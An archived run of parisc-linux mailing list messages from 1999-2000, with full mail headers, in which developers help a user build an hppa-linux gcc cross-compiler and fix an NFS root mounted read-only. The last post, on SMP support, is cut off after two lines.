Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13kZMO-0007EC-00; Sat, 14 Oct 2000 18:00:56 -0400
In-Reply-To: Brian Poole's message of "Sat, 14 Oct 2000 15:10:26 -0500 (EST)"
Original-Lines: 29
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8118

Brian Poole <raj@cerias.purdue.edu> writes:

> And I configured it as per the recipe with..
> 
> ../gcc/configure --target=hppa1.1-linux --prefix=$DEST --host=$MACH
> --disable-nls --without-libc

--without-libc does nothing.  You also need --enable-languages=c, or
else it will try to build ObjC, C++, Java, etc., all of which require
you to have a built libc.

Another thing - though 'hppa1.1-linux' works, you should use
'hppa-linux' as the target instead.

You should configure gcc with:

../gcc/configure --target=hppa-linux --prefix=$DEST --enable-languages=c

If you want a cross-compiler for C++, you must build a cross-glibc
(using --prefix=$DEST/hppa-linux - important!) and then rebuild with
--enable-languages=c,c++.

I thought the recipe had been updated (I *clearly* remember helping
write a functional one a while ago).  Are you sure this is a recent
version of it?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Poole <raj@cerias.purdue.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sat, 14 Oct 2000 17:12:55 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10010141706560.22986-100000@basm.cerias.purdue.edu>
References: <87pul36q1z.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619182 4451 80.91.229.3 (22 Nov 2014 01:19:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:42 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: raj@cerias.purdue.edu  Sat Oct 14 16:11:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA26288
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 16:11:49 -0600
Original-Received: (qmail 30517 invoked by uid 15267); 14 Oct 2000 22:13:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30509 invoked from network); 14 Oct 2000 22:13:03 -0000
Original-Received: from basm.cerias.purdue.edu (128.10.243.21)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 22:13:03 -0000
Original-Received: from localhost (raj@localhost)
	by basm.cerias.purdue.edu (8.9.3+Sun/8.9.3) with ESMTP id RAA01658;
	Sat, 14 Oct 2000 17:12:55 -0500 (EST)
In-Reply-To: <87pul36q1z.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8119

On 14 Oct 2000, David Huggins-Daines wrote:

> Brian Poole <raj@cerias.purdue.edu> writes:
> 
> > And I configured it as per the recipe with..
> > 
> > ../gcc/configure --target=hppa1.1-linux --prefix=$DEST --host=$MACH
> > --disable-nls --without-libc
> 
> --without-libc does nothing.  You also need --enable-languages=c, or
> else it will try to build ObjC, C++, Java, etc., all of which require
> you to have a built libc.
> 
> Another thing - though 'hppa1.1-linux' works, you should use
> 'hppa-linux' as the target instead.
> 
> You should configure gcc with:
> 
> ../gcc/configure --target=hppa-linux --prefix=$DEST --enable-languages=c
> 
> If you want a cross-compiler for C++, you must build a cross-glibc
> (using --prefix=$DEST/hppa-linux - important!) and then rebuild with
> --enable-languages=c,c++.
> 
> I thought the recipe had been updated (I *clearly* remember helping
> write a functional one a while ago).  Are you sure this is a recent
> version of it?

This is off of http://thepuffingroup.com/parisc/recipe.html which says
page was last modified 09/30/2000. Guess this puppy is a bit out of date
despite what the page says because everything I've been doing is off that 
one. I noticed it building the Java, etc, but assumed that was just the
way things were supposed to go. Any idea what you did with that functional
one? ;)

I'll try recompiling with the above stated configure and see if I get any
better luck. 


thanks,

-b


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sun, 15 Oct 2000 11:38:12 +1100 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010151131050.4815-100000@front.linuxcare.com.au>
References: <Pine.SOL.4.10.10010141706560.22986-100000@basm.cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619182 4455 80.91.229.3 (22 Nov 2014 01:19:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:42 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Brian Poole <raj@cerias.purdue.edu>
Original-X-From: alan@linuxcare.com.au  Sat Oct 14 18:37:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA27191
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 18:37:12 -0600
Original-Received: (qmail 15358 invoked by uid 15267); 15 Oct 2000 00:38:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15341 invoked from network); 15 Oct 2000 00:38:26 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 15 Oct 2000 00:38:26 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA04923;
	Sun, 15 Oct 2000 11:38:13 +1100
In-Reply-To: <Pine.SOL.4.10.10010141706560.22986-100000@basm.cerias.purdue.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:8120

On Sat, 14 Oct 2000, Brian Poole wrote:

> On 14 Oct 2000, David Huggins-Daines wrote:
> > Another thing - though 'hppa1.1-linux' works, you should use
> > 'hppa-linux' as the target instead.

The only thing this affects is later compiles of eg. the kernel, which
have Makefiles set up to expect a cross-compiler called hppa-linux-gcc

> > You should configure gcc with:
> > 
> > ../gcc/configure --target=hppa-linux --prefix=$DEST --enable-languages=c
> > 
> > If you want a cross-compiler for C++, you must build a cross-glibc
> > (using --prefix=$DEST/hppa-linux - important!) and then rebuild with
> > --enable-languages=c,c++.
> > 
> > I thought the recipe had been updated (I *clearly* remember helping
> > write a functional one a while ago).  Are you sure this is a recent
> > version of it?
> 
> This is off of http://thepuffingroup.com/parisc/recipe.html which says
> page was last modified 09/30/2000. Guess this puppy is a bit out of date
> despite what the page says because everything I've been doing is off that 
> one. I noticed it building the Java, etc, but assumed that was just the
> way things were supposed to go. Any idea what you did with that functional
> one? ;)
> 
> I'll try recompiling with the above stated configure and see if I get any
> better luck. 

Bung your includes into ${DEST}/${TARGET}/include, as that is the 
directory where a cross-compiler expects to find them (as you
found from the gcc -v).  That's the real fix to your problem.  Sorry I
didn't think of it earlier.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Poole <raj@cerias.purdue.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sat, 14 Oct 2000 19:59:25 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10010141951540.22986-100000@basm.cerias.purdue.edu>
References: <Pine.LNX.4.21.0010151131050.4815-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619183 4456 80.91.229.3 (22 Nov 2014 01:19:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: raj@cerias.purdue.edu  Sat Oct 14 18:58:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA27770
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 18:58:18 -0600
Original-Received: (qmail 27049 invoked by uid 15267); 15 Oct 2000 00:59:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27039 invoked from network); 15 Oct 2000 00:59:32 -0000
Original-Received: from basm.cerias.purdue.edu (128.10.243.21)
  by mailserv2.iuinc.com with SMTP; 15 Oct 2000 00:59:32 -0000
Original-Received: from localhost (raj@localhost)
	by basm.cerias.purdue.edu (8.9.3+Sun/8.9.3) with ESMTP id TAA04375;
	Sat, 14 Oct 2000 19:59:25 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0010151131050.4815-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8121

On Sun, 15 Oct 2000, Alan Modra wrote:
> 
> Bung your includes into ${DEST}/${TARGET}/include, as that is the 
> directory where a cross-compiler expects to find them (as you
> found from the gcc -v).  That's the real fix to your problem.  Sorry I
> didn't think of it earlier.
> 
Hmm.. seems to be never ending problems here.. I made all recommended
changes and now the compile of gcc errors out with compilation errors..

specifically in gcc.c (beginning path is cut off to save my fingers)
gcc.c: In function `execute':
gcc.c:2559: `prus' has incomplete type
gcc.c:2560: `RUSAGE_CHILDREN' undeclared (first use in this function)
(warns that each undeclared is only warned about once)
gcc.c:2561: invalid use of undefined type `struct rusage'
(repeats ~10 times, diff line numbers)
gcc.c: At top level:
gcc.c:204: storage size of `rus' isn't known
gcc.c:204: storage size of `prus isn't known
make[1]: *** [gcc.o] Error 1
make[1]: Leaving directory `/d0/parisc-build/gcc-build/gcc'

sighs.. maybe I'll just leave parisc linux alone for a few months again
and see how it is doing again later ;)


-b


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Qn on Linux/PA-RISC future Console driver
Date: Wed, 07 Apr 1999 12:47:20 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <199904071947.MAA02778@milano.cup.hp.com>
References: <199904071805.LAA22267@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619183 4458 80.91.229.3 (22 Nov 2014 01:19:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Apr  7 15:49:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id PAA14032
	for <parisc-linux@sod.res.cmu.edu>; Wed, 7 Apr 1999 15:49:29 -0400
Original-Received: (qmail 18904 invoked by uid 15267); 7 Apr 1999 19:48:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18897 invoked from network); 7 Apr 1999 19:48:50 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 7 Apr 1999 19:48:50 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA04090
	for <parisc-linux@thepuffingroup.com>; Wed, 7 Apr 1999 15:48:59 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id MAA02778 for <parisc-linux@thepuffingroup.com>; Wed, 7 Apr 1999 12:47:26 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 07 Apr 1999 11:05:39 PDT."
             <199904071805.LAA22267@gatekeeper.equator.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8122

>
> Hi,
> 	Has anyone done some work on Linux/PA-RISC Console driver.
> 	Are we planning to use PDC for console or is it possible
> 	to directly access Console device. 

The GSC and PCI RS-232 consoles are managed by asio0 (tty) driver.
Not clear on HP-PB (SIO driver environment - not WSIO) or graphics consoles.

grant

Grant Grundler
Enterprise Systems Technology Lab
+1.408.447.7253


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sun, 15 Oct 2000 14:53:30 +1100 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010151437500.4815-100000@front.linuxcare.com.au>
References: <Pine.SOL.4.10.10010141951540.22986-100000@basm.cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619183 4460 80.91.229.3 (22 Nov 2014 01:19:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Brian Poole <raj@cerias.purdue.edu>
Original-X-From: alan@linuxcare.com.au  Sat Oct 14 21:52:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA28799
	for <parisc-linux@puffin.external.hp.com>; Sat, 14 Oct 2000 21:52:26 -0600
Original-Received: (qmail 20415 invoked by uid 15267); 15 Oct 2000 03:53:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20396 invoked from network); 15 Oct 2000 03:53:40 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 15 Oct 2000 03:53:40 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA08696;
	Sun, 15 Oct 2000 14:53:30 +1100
In-Reply-To: <Pine.SOL.4.10.10010141951540.22986-100000@basm.cerias.purdue.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:8123

On Sat, 14 Oct 2000, Brian Poole wrote:

> Hmm.. seems to be never ending problems here.. I made all recommended
> changes and now the compile of gcc errors out with compilation errors..
> 
> specifically in gcc.c (beginning path is cut off to save my fingers)

I'm not sure what this one is due to, but since it's during the compile of
gcc itself rather than gcc libraries, then it's likely something to do
with the include setup on your system.  ie. This problem likely isn't
anything to do with parisc gcc.  I suspect you will have problems
compiling other programs too.  Do you have a links /usr/include/linux and
/usr/include/asm pointing to kernel includes?  ie. something like the
following:

$ ls -l /usr/include/{linux,asm}
lrwxrwxrwx   1 root     root           24 Oct 25  1999 /usr/include/asm ->
../src/linux/include/asm
lrwxrwxrwx   1 root     root           26 Oct 25  1999 /usr/include/linux
-> ../src/linux/include/linux

$ grep rusage /usr/include/linux/*
/usr/include/linux/resource.h: * Definition of struct rusage taken from
BSD 4.3 Reno
/usr/include/linux/resource.h:struct    rusage {

> gcc.c: In function `execute':
> gcc.c:2559: `prus' has incomplete type
> gcc.c:2560: `RUSAGE_CHILDREN' undeclared (first use in this function)
> (warns that each undeclared is only warned about once)
> gcc.c:2561: invalid use of undefined type `struct rusage'
> (repeats ~10 times, diff line numbers)
> gcc.c: At top level:
> gcc.c:204: storage size of `rus' isn't known
> gcc.c:204: storage size of `prus isn't known
> make[1]: *** [gcc.o] Error 1
> make[1]: Leaving directory `/d0/parisc-build/gcc-build/gcc'

--
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Sun, 15 Oct 2000 21:32:48 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <200010160432.VAA11300@milano.cup.hp.com>
References: <Pine.SOL.4.10.10010132356161.22986-100000@basm.cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619183 4466 80.91.229.3 (22 Nov 2014 01:19:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Brian Poole <raj@cerias.purdue.edu>
Original-X-From: grundler@cup.hp.com  Sun Oct 15 22:27:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA14130
	for <parisc-linux@puffin.external.hp.com>; Sun, 15 Oct 2000 22:27:13 -0600
Original-Received: (qmail 24760 invoked by uid 15267); 16 Oct 2000 04:28:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24753 invoked from network); 16 Oct 2000 04:28:26 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 16 Oct 2000 04:28:26 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 6F375B14; Sun, 15 Oct 2000 21:28:25 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA11300;
	Sun, 15 Oct 2000 21:32:50 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 14 Oct 2000 00:50:16 PDT."
             <Pine.SOL.4.10.10010132356161.22986-100000@basm.cerias.purdue.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8124

Brian Poole wrote:
> Hello,
> 
> I was looking to test Linux out and see how it was going towards
> supporting my poor old HP9000 715/80 that I have here, however I seem to
> have some trouble compiling the toolchain as described in the 'recipe' and
> would like to ask for some assistance if possible.

The recipe is definitely out of date.
It's been on the TODO list since last week.
It would be great if Alan Modra updated it.

You can look at build-tools/recipe.linux or other files in build-tools
CVS repository at:
	http://puffin.external.hp.com/cgi-bin/cvsview/build-tools/


enjoy,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Mon, 16 Oct 2000 23:08:56 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010162159040.27337-100000@front.linuxcare.com.au>
References: <200010160432.VAA11300@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619184 4473 80.91.229.3 (22 Nov 2014 01:19:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:44 +0000 (UTC)
Cc: Brian Poole <raj@cerias.purdue.edu>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Mon Oct 16 06:11:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA29005
	for <parisc-linux@puffin.external.hp.com>; Mon, 16 Oct 2000 06:11:28 -0600
Original-Received: (qmail 22000 invoked by uid 15267); 16 Oct 2000 12:12:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21976 invoked from network); 16 Oct 2000 12:12:44 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 16 Oct 2000 12:12:44 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA13093;
	Mon, 16 Oct 2000 23:08:56 +1100
In-Reply-To: <200010160432.VAA11300@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8125

On Sun, 15 Oct 2000, Grant Grundler wrote:

> The recipe is definitely out of date.
> It's been on the TODO list since last week.
> It would be great if Alan Modra updated it.

Sorry, I've been a bit slow.  Also did a surprising number of things the
wrong way first time when building everything from scratch.  :-(
Rebuilding from a working tool-base is quite different from starting over.

Anyway, what's there now Works For Me.  (I hope there's not too many
typos)  At least, it would be on the web site if I knew how to go about
pushing stuff from puffin.external.hp.com to www.thepuffingroup.com  Ain't
got no keys to open the door, Ma.

Currently the doco is available at
ftp://puffin.external.hp.com/pub/parisc/debug/recipe.x

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Troubles with read only file system
Date: Thu, 16 Nov 2000 21:16:22 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <003d01c0500a$167a9040$a832d793@esiee.fr>
References: <200010160432.VAA11300@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619184 4476 80.91.229.3 (22 Nov 2014 01:19:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:44 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Grant Grundler" <grundler@cup.hp.com>
Original-X-From: marteaut@esiee.fr  Mon Oct 16 13:13:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA32725
	for <parisc-linux@puffin.external.hp.com>; Mon, 16 Oct 2000 13:13:08 -0600
Original-Received: (qmail 12788 invoked by uid 15267); 16 Oct 2000 19:14:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12777 invoked from network); 16 Oct 2000 19:14:25 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 16 Oct 2000 19:14:25 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP
	id 862E457311; Mon, 16 Oct 2000 21:14:17 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8126

Hi all,

We have done everything well but the NFSroot and the bootable disk say that
we have a read only file system ???
What is the recipe for making a bootable disk because ours can not be the
good one...

Thanks,

Thomas


From - Thu Nov 08 21:13:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles with read only file system
Date: Mon, 16 Oct 2000 12:24:21 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200010161924.MAA11998@milano.cup.hp.com>
References: <003d01c0500a$167a9040$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619184 4478 80.91.229.3 (22 Nov 2014 01:19:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Mon Oct 16 13:18:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA00584
	for <parisc-linux@puffin.external.hp.com>; Mon, 16 Oct 2000 13:18:44 -0600
Original-Received: (qmail 20616 invoked by uid 15267); 16 Oct 2000 19:20:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20602 invoked from network); 16 Oct 2000 19:20:01 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 16 Oct 2000 19:20:01 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 50BC9F89; Mon, 16 Oct 2000 12:20:00 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA11998;
	Mon, 16 Oct 2000 12:24:26 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 16 Nov 2000 21:16:22 PST."
             <003d01c0500a$167a9040$a832d793@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8127

"Thomas Marteau" wrote:
> Hi all,
> 
> We have done everything well but the NFSroot and the bootable disk say that
> we have a read only file system ???

Yeah...RO the default behavior.
I have the following entry on my NFS root etc/fstab:

15.8.81.247:/tftpboot/hppa / nfs defaults                       0       0

You can also manually:
	mount -o remount,rw /

This should work for both NFS root and SCSI root disks.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CPU "driver"?
Date: Mon, 16 Oct 2000 16:19:41 -0700 (PDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200010162319.QAA12345@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619185 4482 80.91.229.3 (22 Nov 2014 01:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Oct 16 17:14:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03882
	for <parisc-linux@puffin.external.hp.com>; Mon, 16 Oct 2000 17:14:23 -0600
Original-Received: (qmail 24724 invoked by uid 15267); 16 Oct 2000 23:15:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24714 invoked from network); 16 Oct 2000 23:15:41 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 16 Oct 2000 23:15:41 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 7DD31FCB
	for <parisc-linux@thepuffingroup.com>; Mon, 16 Oct 2000 16:15:24 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id QAA12345
	for parisc-linux@thepuffingroup.com; Mon, 16 Oct 2000 16:19:41 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8128

I've start thinking about our SMP support.
The PDC PAT work I'm doing now will also require some changes
